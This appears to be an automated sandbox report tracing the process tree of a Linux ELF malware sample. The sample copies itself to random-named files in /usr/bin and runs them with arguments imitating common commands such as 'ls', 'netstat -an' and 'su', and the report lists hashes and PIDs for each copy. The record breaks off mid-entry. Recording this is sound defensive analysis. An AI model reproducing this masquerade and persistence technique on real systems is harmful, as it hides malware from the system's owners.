Analysis Process: Di1p3oLnDb.elf PID: 6348, Parent PID: 6225

General

Start time:	13:40:37
Start date:	05/10/2022
Path:	/tmp/Di1p3oLnDb.elf
Arguments:	n/a
File size:	548616 bytes
MD5 hash:	96671eab0913c0003c63f4d2c50318db

Chronological Activities

Analysis Process: Di1p3oLnDb.elf PID: 6349, Parent PID: 6348

General

Start time:	13:40:37
Start date:	05/10/2022
Path:	/tmp/Di1p3oLnDb.elf
Arguments:	n/a
File size:	548616 bytes
MD5 hash:	96671eab0913c0003c63f4d2c50318db

Chronological Activities

Analysis Process: xmnjiktnas PID: 6349, Parent PID: 6348

General

Start time:	13:40:37
Start date:	05/10/2022
Path:	/usr/bin/xmnjiktnas
Arguments:	/usr/bin/xmnjiktnas who 6225
File size:	548627 bytes
MD5 hash:	ddd43550bad564e41b77604693a62617

Chronological Activities

Analysis Process: xmnjiktnas PID: 6350, Parent PID: 6349

General

Start time:	13:40:37
Start date:	05/10/2022
Path:	/usr/bin/xmnjiktnas
Arguments:	n/a
File size:	548627 bytes
MD5 hash:	ddd43550bad564e41b77604693a62617

Chronological Activities

Analysis Process: Di1p3oLnDb.elf PID: 6351, Parent PID: 6225

General

Start time:	13:40:37
Start date:	05/10/2022
Path:	/tmp/Di1p3oLnDb.elf
Arguments:	n/a
File size:	548616 bytes
MD5 hash:	96671eab0913c0003c63f4d2c50318db

Chronological Activities

Analysis Process: Di1p3oLnDb.elf PID: 6352, Parent PID: 6351

General

Start time:	13:40:37
Start date:	05/10/2022
Path:	/tmp/Di1p3oLnDb.elf
Arguments:	n/a
File size:	548616 bytes
MD5 hash:	96671eab0913c0003c63f4d2c50318db

Chronological Activities

Analysis Process: xmnjiktnas PID: 6352, Parent PID: 6351

General

Start time:	13:40:37
Start date:	05/10/2022
Path:	/usr/bin/xmnjiktnas
Arguments:	/usr/bin/xmnjiktnas "ifconfig eth0" 6225
File size:	548627 bytes
MD5 hash:	ddd43550bad564e41b77604693a62617

Chronological Activities

Analysis Process: xmnjiktnas PID: 6358, Parent PID: 6352

General

Start time:	13:40:37
Start date:	05/10/2022
Path:	/usr/bin/xmnjiktnas
Arguments:	n/a
File size:	548627 bytes
MD5 hash:	ddd43550bad564e41b77604693a62617

Chronological Activities

Analysis Process: Di1p3oLnDb.elf PID: 6353, Parent PID: 6225

General

Start time:	13:40:37
Start date:	05/10/2022
Path:	/tmp/Di1p3oLnDb.elf
Arguments:	n/a
File size:	548616 bytes
MD5 hash:	96671eab0913c0003c63f4d2c50318db

Chronological Activities

Analysis Process: Di1p3oLnDb.elf PID: 6354, Parent PID: 6353

General

Start time:	13:40:37
Start date:	05/10/2022
Path:	/tmp/Di1p3oLnDb.elf
Arguments:	n/a
File size:	548616 bytes
MD5 hash:	96671eab0913c0003c63f4d2c50318db

Chronological Activities

Analysis Process: xmnjiktnas PID: 6354, Parent PID: 6353

General

Start time:	13:40:37
Start date:	05/10/2022
Path:	/usr/bin/xmnjiktnas
Arguments:	/usr/bin/xmnjiktnas ls 6225
File size:	548627 bytes
MD5 hash:	ddd43550bad564e41b77604693a62617

Chronological Activities

Analysis Process: xmnjiktnas PID: 6361, Parent PID: 6354

General

Start time:	13:40:37
Start date:	05/10/2022
Path:	/usr/bin/xmnjiktnas
Arguments:	n/a
File size:	548627 bytes
MD5 hash:	ddd43550bad564e41b77604693a62617

Chronological Activities

Analysis Process: Di1p3oLnDb.elf PID: 6357, Parent PID: 6225

General

Start time:	13:40:37
Start date:	05/10/2022
Path:	/tmp/Di1p3oLnDb.elf
Arguments:	n/a
File size:	548616 bytes
MD5 hash:	96671eab0913c0003c63f4d2c50318db

Chronological Activities

Analysis Process: Di1p3oLnDb.elf PID: 6359, Parent PID: 6357

General

Start time:	13:40:37
Start date:	05/10/2022
Path:	/tmp/Di1p3oLnDb.elf
Arguments:	n/a
File size:	548616 bytes
MD5 hash:	96671eab0913c0003c63f4d2c50318db

Chronological Activities

Analysis Process: xmnjiktnas PID: 6359, Parent PID: 6357

General

Start time:	13:40:37
Start date:	05/10/2022
Path:	/usr/bin/xmnjiktnas
Arguments:	/usr/bin/xmnjiktnas "netstat -an" 6225
File size:	548627 bytes
MD5 hash:	ddd43550bad564e41b77604693a62617

Chronological Activities

Analysis Process: xmnjiktnas PID: 6360, Parent PID: 6359

General

Start time:	13:40:37
Start date:	05/10/2022
Path:	/usr/bin/xmnjiktnas
Arguments:	n/a
File size:	548627 bytes
MD5 hash:	ddd43550bad564e41b77604693a62617

Chronological Activities

Analysis Process: Di1p3oLnDb.elf PID: 6365, Parent PID: 6225

General

Start time:	13:40:43
Start date:	05/10/2022
Path:	/tmp/Di1p3oLnDb.elf
Arguments:	n/a
File size:	548616 bytes
MD5 hash:	96671eab0913c0003c63f4d2c50318db

Chronological Activities

Analysis Process: Di1p3oLnDb.elf PID: 6366, Parent PID: 6365

General

Start time:	13:40:43
Start date:	05/10/2022
Path:	/tmp/Di1p3oLnDb.elf
Arguments:	n/a
File size:	548616 bytes
MD5 hash:	96671eab0913c0003c63f4d2c50318db

Chronological Activities

Analysis Process: bvyxmkkmbp PID: 6366, Parent PID: 6365

General

Start time:	13:40:43
Start date:	05/10/2022
Path:	/usr/bin/bvyxmkkmbp
Arguments:	/usr/bin/bvyxmkkmbp gnome-terminal 6225
File size:	548627 bytes
MD5 hash:	1c69907b9b1ea6970ce38e0262ee82e1

Chronological Activities

Analysis Process: bvyxmkkmbp PID: 6367, Parent PID: 6366

General

Start time:	13:40:43
Start date:	05/10/2022
Path:	/usr/bin/bvyxmkkmbp
Arguments:	n/a
File size:	548627 bytes
MD5 hash:	1c69907b9b1ea6970ce38e0262ee82e1

Chronological Activities

Analysis Process: Di1p3oLnDb.elf PID: 6368, Parent PID: 6225

General

Start time:	13:40:43
Start date:	05/10/2022
Path:	/tmp/Di1p3oLnDb.elf
Arguments:	n/a
File size:	548616 bytes
MD5 hash:	96671eab0913c0003c63f4d2c50318db

Chronological Activities

Analysis Process: Di1p3oLnDb.elf PID: 6369, Parent PID: 6368

General

Start time:	13:40:43
Start date:	05/10/2022
Path:	/tmp/Di1p3oLnDb.elf
Arguments:	n/a
File size:	548616 bytes
MD5 hash:	96671eab0913c0003c63f4d2c50318db

Chronological Activities

Analysis Process: bvyxmkkmbp PID: 6369, Parent PID: 6368

General

Start time:	13:40:43
Start date:	05/10/2022
Path:	/usr/bin/bvyxmkkmbp
Arguments:	/usr/bin/bvyxmkkmbp ifconfig 6225
File size:	548627 bytes
MD5 hash:	1c69907b9b1ea6970ce38e0262ee82e1

Chronological Activities

Analysis Process: bvyxmkkmbp PID: 6371, Parent PID: 6369

General

Start time:	13:40:43
Start date:	05/10/2022
Path:	/usr/bin/bvyxmkkmbp
Arguments:	n/a
File size:	548627 bytes
MD5 hash:	1c69907b9b1ea6970ce38e0262ee82e1

Chronological Activities

Analysis Process: Di1p3oLnDb.elf PID: 6370, Parent PID: 6225

General

Start time:	13:40:43
Start date:	05/10/2022
Path:	/tmp/Di1p3oLnDb.elf
Arguments:	n/a
File size:	548616 bytes
MD5 hash:	96671eab0913c0003c63f4d2c50318db

Chronological Activities

Analysis Process: Di1p3oLnDb.elf PID: 6372, Parent PID: 6370

General

Start time:	13:40:43
Start date:	05/10/2022
Path:	/tmp/Di1p3oLnDb.elf
Arguments:	n/a
File size:	548616 bytes
MD5 hash:	96671eab0913c0003c63f4d2c50318db

Chronological Activities

Analysis Process: bvyxmkkmbp PID: 6372, Parent PID: 6370

General

Start time:	13:40:43
Start date:	05/10/2022
Path:	/usr/bin/bvyxmkkmbp
Arguments:	/usr/bin/bvyxmkkmbp bash 6225
File size:	548627 bytes
MD5 hash:	1c69907b9b1ea6970ce38e0262ee82e1

Chronological Activities

Analysis Process: bvyxmkkmbp PID: 6377, Parent PID: 6372

General

Start time:	13:40:43
Start date:	05/10/2022
Path:	/usr/bin/bvyxmkkmbp
Arguments:	n/a
File size:	548627 bytes
MD5 hash:	1c69907b9b1ea6970ce38e0262ee82e1

Chronological Activities

Analysis Process: Di1p3oLnDb.elf PID: 6373, Parent PID: 6225

General

Start time:	13:40:43
Start date:	05/10/2022
Path:	/tmp/Di1p3oLnDb.elf
Arguments:	n/a
File size:	548616 bytes
MD5 hash:	96671eab0913c0003c63f4d2c50318db

Chronological Activities

Analysis Process: Di1p3oLnDb.elf PID: 6374, Parent PID: 6373

General

Start time:	13:40:43
Start date:	05/10/2022
Path:	/tmp/Di1p3oLnDb.elf
Arguments:	n/a
File size:	548616 bytes
MD5 hash:	96671eab0913c0003c63f4d2c50318db

Chronological Activities

Analysis Process: bvyxmkkmbp PID: 6374, Parent PID: 6373

General

Start time:	13:40:43
Start date:	05/10/2022
Path:	/usr/bin/bvyxmkkmbp
Arguments:	/usr/bin/bvyxmkkmbp "sleep 1" 6225
File size:	548627 bytes
MD5 hash:	1c69907b9b1ea6970ce38e0262ee82e1

Chronological Activities

Analysis Process: bvyxmkkmbp PID: 6378, Parent PID: 6374

General

Start time:	13:40:43
Start date:	05/10/2022
Path:	/usr/bin/bvyxmkkmbp
Arguments:	n/a
File size:	548627 bytes
MD5 hash:	1c69907b9b1ea6970ce38e0262ee82e1

Chronological Activities

Analysis Process: Di1p3oLnDb.elf PID: 6375, Parent PID: 6225

General

Start time:	13:40:43
Start date:	05/10/2022
Path:	/tmp/Di1p3oLnDb.elf
Arguments:	n/a
File size:	548616 bytes
MD5 hash:	96671eab0913c0003c63f4d2c50318db

Chronological Activities

Analysis Process: Di1p3oLnDb.elf PID: 6376, Parent PID: 6375

General

Start time:	13:40:43
Start date:	05/10/2022
Path:	/tmp/Di1p3oLnDb.elf
Arguments:	n/a
File size:	548616 bytes
MD5 hash:	96671eab0913c0003c63f4d2c50318db

Chronological Activities

Analysis Process: bvyxmkkmbp PID: 6376, Parent PID: 6375

General

Start time:	13:40:43
Start date:	05/10/2022
Path:	/usr/bin/bvyxmkkmbp
Arguments:	/usr/bin/bvyxmkkmbp "sleep 1" 6225
File size:	548627 bytes
MD5 hash:	1c69907b9b1ea6970ce38e0262ee82e1

Chronological Activities

Analysis Process: bvyxmkkmbp PID: 6379, Parent PID: 6376

General

Start time:	13:40:43
Start date:	05/10/2022
Path:	/usr/bin/bvyxmkkmbp
Arguments:	n/a
File size:	548627 bytes
MD5 hash:	1c69907b9b1ea6970ce38e0262ee82e1

Chronological Activities

Analysis Process: Di1p3oLnDb.elf PID: 6384, Parent PID: 6225

General

Start time:	13:40:49
Start date:	05/10/2022
Path:	/tmp/Di1p3oLnDb.elf
Arguments:	n/a
File size:	548616 bytes
MD5 hash:	96671eab0913c0003c63f4d2c50318db

Chronological Activities

Analysis Process: Di1p3oLnDb.elf PID: 6385, Parent PID: 6384

General

Start time:	13:40:49
Start date:	05/10/2022
Path:	/tmp/Di1p3oLnDb.elf
Arguments:	n/a
File size:	548616 bytes
MD5 hash:	96671eab0913c0003c63f4d2c50318db

Chronological Activities

Analysis Process: hszflciagy PID: 6385, Parent PID: 6384

General

Start time:	13:40:49
Start date:	05/10/2022
Path:	/usr/bin/hszflciagy
Arguments:	/usr/bin/hszflciagy bash 6225
File size:	548627 bytes
MD5 hash:	518f3cac4283fc9eee5d8d2f61a93231

Chronological Activities

Analysis Process: hszflciagy PID: 6386, Parent PID: 6385

General

Start time:	13:40:49
Start date:	05/10/2022
Path:	/usr/bin/hszflciagy
Arguments:	n/a
File size:	548627 bytes
MD5 hash:	518f3cac4283fc9eee5d8d2f61a93231

Chronological Activities

Analysis Process: Di1p3oLnDb.elf PID: 6387, Parent PID: 6225

General

Start time:	13:40:49
Start date:	05/10/2022
Path:	/tmp/Di1p3oLnDb.elf
Arguments:	n/a
File size:	548616 bytes
MD5 hash:	96671eab0913c0003c63f4d2c50318db

Chronological Activities

Analysis Process: Di1p3oLnDb.elf PID: 6388, Parent PID: 6387

General

Start time:	13:40:49
Start date:	05/10/2022
Path:	/tmp/Di1p3oLnDb.elf
Arguments:	n/a
File size:	548616 bytes
MD5 hash:	96671eab0913c0003c63f4d2c50318db

Chronological Activities

Analysis Process: hszflciagy PID: 6388, Parent PID: 6387

General

Start time:	13:40:49
Start date:	05/10/2022
Path:	/usr/bin/hszflciagy
Arguments:	/usr/bin/hszflciagy uptime 6225
File size:	548627 bytes
MD5 hash:	518f3cac4283fc9eee5d8d2f61a93231

Chronological Activities

Analysis Process: hszflciagy PID: 6391, Parent PID: 6388

General

Start time:	13:40:49
Start date:	05/10/2022
Path:	/usr/bin/hszflciagy
Arguments:	n/a
File size:	548627 bytes
MD5 hash:	518f3cac4283fc9eee5d8d2f61a93231

Chronological Activities

Analysis Process: Di1p3oLnDb.elf PID: 6389, Parent PID: 6225

General

Start time:	13:40:49
Start date:	05/10/2022
Path:	/tmp/Di1p3oLnDb.elf
Arguments:	n/a
File size:	548616 bytes
MD5 hash:	96671eab0913c0003c63f4d2c50318db

Chronological Activities

Analysis Process: Di1p3oLnDb.elf PID: 6390, Parent PID: 6389

General

Start time:	13:40:49
Start date:	05/10/2022
Path:	/tmp/Di1p3oLnDb.elf
Arguments:	n/a
File size:	548616 bytes
MD5 hash:	96671eab0913c0003c63f4d2c50318db

Chronological Activities

Analysis Process: hszflciagy PID: 6390, Parent PID: 6389

General

Start time:	13:40:49
Start date:	05/10/2022
Path:	/usr/bin/hszflciagy
Arguments:	/usr/bin/hszflciagy "ps -ef" 6225
File size:	548627 bytes
MD5 hash:	518f3cac4283fc9eee5d8d2f61a93231

Chronological Activities

Analysis Process: hszflciagy PID: 6392, Parent PID: 6390

General

Start time:	13:40:49
Start date:	05/10/2022
Path:	/usr/bin/hszflciagy
Arguments:	n/a
File size:	548627 bytes
MD5 hash:	518f3cac4283fc9eee5d8d2f61a93231

Chronological Activities

Analysis Process: Di1p3oLnDb.elf PID: 6393, Parent PID: 6225

General

Start time:	13:40:49
Start date:	05/10/2022
Path:	/tmp/Di1p3oLnDb.elf
Arguments:	n/a
File size:	548616 bytes
MD5 hash:	96671eab0913c0003c63f4d2c50318db

Chronological Activities

Analysis Process: Di1p3oLnDb.elf PID: 6394, Parent PID: 6393

General

Start time:	13:40:49
Start date:	05/10/2022
Path:	/tmp/Di1p3oLnDb.elf
Arguments:	n/a
File size:	548616 bytes
MD5 hash:	96671eab0913c0003c63f4d2c50318db

Chronological Activities

Analysis Process: hszflciagy PID: 6394, Parent PID: 6393

General

Start time:	13:40:49
Start date:	05/10/2022
Path:	/usr/bin/hszflciagy
Arguments:	/usr/bin/hszflciagy "ls -la" 6225
File size:	548627 bytes
MD5 hash:	518f3cac4283fc9eee5d8d2f61a93231

Chronological Activities

Analysis Process: hszflciagy PID: 6397, Parent PID: 6394

General

Start time:	13:40:49
Start date:	05/10/2022
Path:	/usr/bin/hszflciagy
Arguments:	n/a
File size:	548627 bytes
MD5 hash:	518f3cac4283fc9eee5d8d2f61a93231

Chronological Activities

Analysis Process: Di1p3oLnDb.elf PID: 6395, Parent PID: 6225

General

Start time:	13:40:49
Start date:	05/10/2022
Path:	/tmp/Di1p3oLnDb.elf
Arguments:	n/a
File size:	548616 bytes
MD5 hash:	96671eab0913c0003c63f4d2c50318db

Chronological Activities

Analysis Process: Di1p3oLnDb.elf PID: 6396, Parent PID: 6395

General

Start time:	13:40:49
Start date:	05/10/2022
Path:	/tmp/Di1p3oLnDb.elf
Arguments:	n/a
File size:	548616 bytes
MD5 hash:	96671eab0913c0003c63f4d2c50318db

Chronological Activities

Analysis Process: hszflciagy PID: 6396, Parent PID: 6395

General

Start time:	13:40:49
Start date:	05/10/2022
Path:	/usr/bin/hszflciagy
Arguments:	/usr/bin/hszflciagy "netstat -an" 6225
File size:	548627 bytes
MD5 hash:	518f3cac4283fc9eee5d8d2f61a93231

Chronological Activities

Analysis Process: hszflciagy PID: 6398, Parent PID: 6396

General

Start time:	13:40:49
Start date:	05/10/2022
Path:	/usr/bin/hszflciagy
Arguments:	n/a
File size:	548627 bytes
MD5 hash:	518f3cac4283fc9eee5d8d2f61a93231

Chronological Activities

Analysis Process: Di1p3oLnDb.elf PID: 6401, Parent PID: 6225

General

Start time:	13:40:55
Start date:	05/10/2022
Path:	/tmp/Di1p3oLnDb.elf
Arguments:	n/a
File size:	548616 bytes
MD5 hash:	96671eab0913c0003c63f4d2c50318db

Chronological Activities

Analysis Process: Di1p3oLnDb.elf PID: 6402, Parent PID: 6401

General

Start time:	13:40:55
Start date:	05/10/2022
Path:	/tmp/Di1p3oLnDb.elf
Arguments:	n/a
File size:	548616 bytes
MD5 hash:	96671eab0913c0003c63f4d2c50318db

Chronological Activities

Analysis Process: dvisuvnfsi PID: 6402, Parent PID: 6401

General

Start time:	13:40:55
Start date:	05/10/2022
Path:	/usr/bin/dvisuvnfsi
Arguments:	/usr/bin/dvisuvnfsi ls 6225
File size:	548627 bytes
MD5 hash:	34a7f54873746b3448c4e06af756c541

Chronological Activities

Analysis Process: dvisuvnfsi PID: 6403, Parent PID: 6402

General

Start time:	13:40:55
Start date:	05/10/2022
Path:	/usr/bin/dvisuvnfsi
Arguments:	n/a
File size:	548627 bytes
MD5 hash:	34a7f54873746b3448c4e06af756c541

Chronological Activities

Analysis Process: Di1p3oLnDb.elf PID: 6404, Parent PID: 6225

General

Start time:	13:40:55
Start date:	05/10/2022
Path:	/tmp/Di1p3oLnDb.elf
Arguments:	n/a
File size:	548616 bytes
MD5 hash:	96671eab0913c0003c63f4d2c50318db

Chronological Activities

Analysis Process: Di1p3oLnDb.elf PID: 6405, Parent PID: 6404

General

Start time:	13:40:55
Start date:	05/10/2022
Path:	/tmp/Di1p3oLnDb.elf
Arguments:	n/a
File size:	548616 bytes
MD5 hash:	96671eab0913c0003c63f4d2c50318db

Chronological Activities

Analysis Process: dvisuvnfsi PID: 6405, Parent PID: 6404

General

Start time:	13:40:55
Start date:	05/10/2022
Path:	/usr/bin/dvisuvnfsi
Arguments:	/usr/bin/dvisuvnfsi bash 6225
File size:	548627 bytes
MD5 hash:	34a7f54873746b3448c4e06af756c541

Chronological Activities

Analysis Process: dvisuvnfsi PID: 6406, Parent PID: 6405

General

Start time:	13:40:55
Start date:	05/10/2022
Path:	/usr/bin/dvisuvnfsi
Arguments:	n/a
File size:	548627 bytes
MD5 hash:	34a7f54873746b3448c4e06af756c541

Chronological Activities

Analysis Process: Di1p3oLnDb.elf PID: 6407, Parent PID: 6225

General

Start time:	13:40:55
Start date:	05/10/2022
Path:	/tmp/Di1p3oLnDb.elf
Arguments:	n/a
File size:	548616 bytes
MD5 hash:	96671eab0913c0003c63f4d2c50318db

Chronological Activities

Analysis Process: Di1p3oLnDb.elf PID: 6408, Parent PID: 6407

General

Start time:	13:40:55
Start date:	05/10/2022
Path:	/tmp/Di1p3oLnDb.elf
Arguments:	n/a
File size:	548616 bytes
MD5 hash:	96671eab0913c0003c63f4d2c50318db

Chronological Activities

Analysis Process: dvisuvnfsi PID: 6408, Parent PID: 6407

General

Start time:	13:40:55
Start date:	05/10/2022
Path:	/usr/bin/dvisuvnfsi
Arguments:	/usr/bin/dvisuvnfsi "sleep 1" 6225
File size:	548627 bytes
MD5 hash:	34a7f54873746b3448c4e06af756c541

Chronological Activities

Analysis Process: dvisuvnfsi PID: 6411, Parent PID: 6408

General

Start time:	13:40:55
Start date:	05/10/2022
Path:	/usr/bin/dvisuvnfsi
Arguments:	n/a
File size:	548627 bytes
MD5 hash:	34a7f54873746b3448c4e06af756c541

Chronological Activities

Analysis Process: Di1p3oLnDb.elf PID: 6409, Parent PID: 6225

General

Start time:	13:40:55
Start date:	05/10/2022
Path:	/tmp/Di1p3oLnDb.elf
Arguments:	n/a
File size:	548616 bytes
MD5 hash:	96671eab0913c0003c63f4d2c50318db

Chronological Activities

Analysis Process: Di1p3oLnDb.elf PID: 6410, Parent PID: 6409

General

Start time:	13:40:55
Start date:	05/10/2022
Path:	/tmp/Di1p3oLnDb.elf
Arguments:	n/a
File size:	548616 bytes
MD5 hash:	96671eab0913c0003c63f4d2c50318db

Chronological Activities

Analysis Process: dvisuvnfsi PID: 6410, Parent PID: 6409

General

Start time:	13:40:55
Start date:	05/10/2022
Path:	/usr/bin/dvisuvnfsi
Arguments:	/usr/bin/dvisuvnfsi "echo \"find\"" 6225
File size:	548627 bytes
MD5 hash:	34a7f54873746b3448c4e06af756c541

Chronological Activities

Analysis Process: dvisuvnfsi PID: 6414, Parent PID: 6410

General

Start time:	13:40:55
Start date:	05/10/2022
Path:	/usr/bin/dvisuvnfsi
Arguments:	n/a
File size:	548627 bytes
MD5 hash:	34a7f54873746b3448c4e06af756c541

Chronological Activities

Analysis Process: Di1p3oLnDb.elf PID: 6412, Parent PID: 6225

General

Start time:	13:40:55
Start date:	05/10/2022
Path:	/tmp/Di1p3oLnDb.elf
Arguments:	n/a
File size:	548616 bytes
MD5 hash:	96671eab0913c0003c63f4d2c50318db

Chronological Activities

Analysis Process: Di1p3oLnDb.elf PID: 6413, Parent PID: 6412

General

Start time:	13:40:55
Start date:	05/10/2022
Path:	/tmp/Di1p3oLnDb.elf
Arguments:	n/a
File size:	548616 bytes
MD5 hash:	96671eab0913c0003c63f4d2c50318db

Chronological Activities

Analysis Process: dvisuvnfsi PID: 6413, Parent PID: 6412

General

Start time:	13:40:55
Start date:	05/10/2022
Path:	/usr/bin/dvisuvnfsi
Arguments:	/usr/bin/dvisuvnfsi "route -n" 6225
File size:	548627 bytes
MD5 hash:	34a7f54873746b3448c4e06af756c541

Chronological Activities

Analysis Process: dvisuvnfsi PID: 6415, Parent PID: 6413

General

Start time:	13:40:55
Start date:	05/10/2022
Path:	/usr/bin/dvisuvnfsi
Arguments:	n/a
File size:	548627 bytes
MD5 hash:	34a7f54873746b3448c4e06af756c541

Chronological Activities

Analysis Process: Di1p3oLnDb.elf PID: 6418, Parent PID: 6225

General

Start time:	13:41:01
Start date:	05/10/2022
Path:	/tmp/Di1p3oLnDb.elf
Arguments:	n/a
File size:	548616 bytes
MD5 hash:	96671eab0913c0003c63f4d2c50318db

Chronological Activities

Analysis Process: Di1p3oLnDb.elf PID: 6419, Parent PID: 6418

General

Start time:	13:41:01
Start date:	05/10/2022
Path:	/tmp/Di1p3oLnDb.elf
Arguments:	n/a
File size:	548616 bytes
MD5 hash:	96671eab0913c0003c63f4d2c50318db

Chronological Activities

Analysis Process: zzdslzxygn PID: 6419, Parent PID: 6418

General

Start time:	13:41:01
Start date:	05/10/2022
Path:	/usr/bin/zzdslzxygn
Arguments:	/usr/bin/zzdslzxygn "sleep 1" 6225
File size:	548627 bytes
MD5 hash:	8dc652fcadce3231649681ae716b8941

Chronological Activities

Analysis Process: zzdslzxygn PID: 6420, Parent PID: 6419

General

Start time:	13:41:01
Start date:	05/10/2022
Path:	/usr/bin/zzdslzxygn
Arguments:	n/a
File size:	548627 bytes
MD5 hash:	8dc652fcadce3231649681ae716b8941

Chronological Activities

Analysis Process: Di1p3oLnDb.elf PID: 6421, Parent PID: 6225

General

Start time:	13:41:01
Start date:	05/10/2022
Path:	/tmp/Di1p3oLnDb.elf
Arguments:	n/a
File size:	548616 bytes
MD5 hash:	96671eab0913c0003c63f4d2c50318db

Chronological Activities

Analysis Process: Di1p3oLnDb.elf PID: 6422, Parent PID: 6421

General

Start time:	13:41:01
Start date:	05/10/2022
Path:	/tmp/Di1p3oLnDb.elf
Arguments:	n/a
File size:	548616 bytes
MD5 hash:	96671eab0913c0003c63f4d2c50318db

Chronological Activities

Analysis Process: zzdslzxygn PID: 6422, Parent PID: 6421

General

Start time:	13:41:01
Start date:	05/10/2022
Path:	/usr/bin/zzdslzxygn
Arguments:	/usr/bin/zzdslzxygn "cat resolv.conf" 6225
File size:	548627 bytes
MD5 hash:	8dc652fcadce3231649681ae716b8941

Chronological Activities

Analysis Process: zzdslzxygn PID: 6425, Parent PID: 6422

General

Start time:	13:41:01
Start date:	05/10/2022
Path:	/usr/bin/zzdslzxygn
Arguments:	n/a
File size:	548627 bytes
MD5 hash:	8dc652fcadce3231649681ae716b8941

Chronological Activities

Analysis Process: Di1p3oLnDb.elf PID: 6423, Parent PID: 6225

General

Start time:	13:41:01
Start date:	05/10/2022
Path:	/tmp/Di1p3oLnDb.elf
Arguments:	n/a
File size:	548616 bytes
MD5 hash:	96671eab0913c0003c63f4d2c50318db

Chronological Activities

Analysis Process: Di1p3oLnDb.elf PID: 6424, Parent PID: 6423

General

Start time:	13:41:01
Start date:	05/10/2022
Path:	/tmp/Di1p3oLnDb.elf
Arguments:	n/a
File size:	548616 bytes
MD5 hash:	96671eab0913c0003c63f4d2c50318db

Chronological Activities

Analysis Process: zzdslzxygn PID: 6424, Parent PID: 6423

General

Start time:	13:41:01
Start date:	05/10/2022
Path:	/usr/bin/zzdslzxygn
Arguments:	/usr/bin/zzdslzxygn "netstat -an" 6225
File size:	548627 bytes
MD5 hash:	8dc652fcadce3231649681ae716b8941

Chronological Activities

Analysis Process: zzdslzxygn PID: 6428, Parent PID: 6424

General

Start time:	13:41:01
Start date:	05/10/2022
Path:	/usr/bin/zzdslzxygn
Arguments:	n/a
File size:	548627 bytes
MD5 hash:	8dc652fcadce3231649681ae716b8941

Chronological Activities

Analysis Process: Di1p3oLnDb.elf PID: 6426, Parent PID: 6225

General

Start time:	13:41:01
Start date:	05/10/2022
Path:	/tmp/Di1p3oLnDb.elf
Arguments:	n/a
File size:	548616 bytes
MD5 hash:	96671eab0913c0003c63f4d2c50318db

Chronological Activities

Analysis Process: Di1p3oLnDb.elf PID: 6427, Parent PID: 6426

General

Start time:	13:41:01
Start date:	05/10/2022
Path:	/tmp/Di1p3oLnDb.elf
Arguments:	n/a
File size:	548616 bytes
MD5 hash:	96671eab0913c0003c63f4d2c50318db

Chronological Activities

Analysis Process: zzdslzxygn PID: 6427, Parent PID: 6426

General

Start time:	13:41:01
Start date:	05/10/2022
Path:	/usr/bin/zzdslzxygn
Arguments:	/usr/bin/zzdslzxygn ifconfig 6225
File size:	548627 bytes
MD5 hash:	8dc652fcadce3231649681ae716b8941

Chronological Activities

Analysis Process: zzdslzxygn PID: 6431, Parent PID: 6427

General

Start time:	13:41:01
Start date:	05/10/2022
Path:	/usr/bin/zzdslzxygn
Arguments:	n/a
File size:	548627 bytes
MD5 hash:	8dc652fcadce3231649681ae716b8941

Chronological Activities

Analysis Process: Di1p3oLnDb.elf PID: 6429, Parent PID: 6225

General

Start time:	13:41:01
Start date:	05/10/2022
Path:	/tmp/Di1p3oLnDb.elf
Arguments:	n/a
File size:	548616 bytes
MD5 hash:	96671eab0913c0003c63f4d2c50318db

Chronological Activities

Analysis Process: Di1p3oLnDb.elf PID: 6430, Parent PID: 6429

General

Start time:	13:41:01
Start date:	05/10/2022
Path:	/tmp/Di1p3oLnDb.elf
Arguments:	n/a
File size:	548616 bytes
MD5 hash:	96671eab0913c0003c63f4d2c50318db

Chronological Activities

Analysis Process: zzdslzxygn PID: 6430, Parent PID: 6429

General

Start time:	13:41:01
Start date:	05/10/2022
Path:	/usr/bin/zzdslzxygn
Arguments:	/usr/bin/zzdslzxygn sh 6225
File size:	548627 bytes
MD5 hash:	8dc652fcadce3231649681ae716b8941

Chronological Activities

Analysis Process: zzdslzxygn PID: 6432, Parent PID: 6430

General

Start time:	13:41:01
Start date:	05/10/2022
Path:	/usr/bin/zzdslzxygn
Arguments:	n/a
File size:	548627 bytes
MD5 hash:	8dc652fcadce3231649681ae716b8941

Chronological Activities

Analysis Process: Di1p3oLnDb.elf PID: 6435, Parent PID: 6225

General

Start time:	13:41:07
Start date:	05/10/2022
Path:	/tmp/Di1p3oLnDb.elf
Arguments:	n/a
File size:	548616 bytes
MD5 hash:	96671eab0913c0003c63f4d2c50318db

Chronological Activities

Analysis Process: Di1p3oLnDb.elf PID: 6436, Parent PID: 6435

General

Start time:	13:41:07
Start date:	05/10/2022
Path:	/tmp/Di1p3oLnDb.elf
Arguments:	n/a
File size:	548616 bytes
MD5 hash:	96671eab0913c0003c63f4d2c50318db

Chronological Activities

Analysis Process: koygrrjkon PID: 6436, Parent PID: 6435

General

Start time:	13:41:07
Start date:	05/10/2022
Path:	/usr/bin/koygrrjkon
Arguments:	/usr/bin/koygrrjkon su 6225
File size:	548627 bytes
MD5 hash:	f52674a9af3a42b5b8edf7c4ca4a5159

Chronological Activities

Analysis Process: koygrrjkon PID: 6437, Parent PID: 6436

General

Start time:	13:41:07
Start date:	05/10/2022
Path:	/usr/bin/koygrrjkon
Arguments:	n/a
File size:	548627 bytes
MD5 hash:	f52674a9af3a42b5b8edf7c4ca4a5159

Chronological Activities

Analysis Process: Di1p3oLnDb.elf PID: 6438, Parent PID: 6225

General

Start time:	13:41:07
Start date:	05/10/2022
Path:	/tmp/Di1p3oLnDb.elf
Arguments:	n/a
File size:	548616 bytes
MD5 hash:	96671eab0913c0003c63f4d2c50318db

Chronological Activities

Analysis Process: Di1p3oLnDb.elf PID: 6439, Parent PID: 6438

General

Start time:	13:41:07
Start date:	05/10/2022
Path:	/tmp/Di1p3oLnDb.elf
Arguments:	n/a
File size:	548616 bytes
MD5 hash:	96671eab0913c0003c63f4d2c50318db

Chronological Activities

Analysis Process: koygrrjkon PID: 6439, Parent PID: 6438

General

Start time:	13:41:07
Start date:	05/10/2022
Path:	/usr/bin/koygrrjkon
Arguments:	/usr/bin/koygrrjkon "netstat -antop" 6225
File size:	548627 bytes
MD5 hash:	f52674a9af3a42b5b8edf7c4ca4a5159

Chronological Activities

Analysis Process: koygrrjkon PID: 6441, Parent PID: 6439

General

Start time:	13:41:07
Start date:	05/10/2022
Path:	/usr/bin/koygrrjkon
Arguments:	n/a
File size:	548627 bytes
MD5 hash:	f52674a9af3a42b5b8edf7c4ca4a5159

Chronological Activities

Analysis Process: Di1p3oLnDb.elf PID: 6440, Parent PID: 6225

General

Start time:	13:41:07
